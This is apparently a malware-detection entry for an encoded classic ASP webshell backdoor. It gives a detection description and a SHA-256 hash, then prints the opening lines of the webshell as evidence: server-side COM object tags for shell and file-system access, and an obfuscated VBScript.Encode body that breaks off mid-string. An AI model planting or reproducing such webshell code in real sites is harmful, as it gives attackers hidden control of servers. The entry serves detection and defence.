Backdoor.ASP.Ace.ce
Encoded ASP webshell backdoor
Webshell in VBscript or JScript encoded using *.Encode plus a suspicious stringClassic ASP VBScript.Encode language directive
SHA-2567136fe6d90a2958f840ab84ce8a12923ad08088f6c52c81c8c35bd24e43c71cd
MaleculeO(C)Th
Evidence
1<%@LANGUAGE="VBScript.Encode" CODEPAGE="936"%>
2<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
3<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
4<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
5<%#@~^HRgAAA==@#@&dGaYbWx,+X2VbmrY@#@&@#@&imW dY,:'raa6X6r@#@&d^G /OPs#+M/rG 'J* Z!E@#@&71WUkY,E/DhC/khGD9'Ed1tWKstmm3.EPE��¼����@#@&d^WUdDPCNsrxhlddSWD[xrDnN(r J~E��������@#@&dmKxkOPk;sHm6JGKwq{q!Z@#@&i^GxkY,/4+ssUY.'rjtVsE@#@&d^G /OPSd1DraYUYD{JqdmMk2Yr@#@ …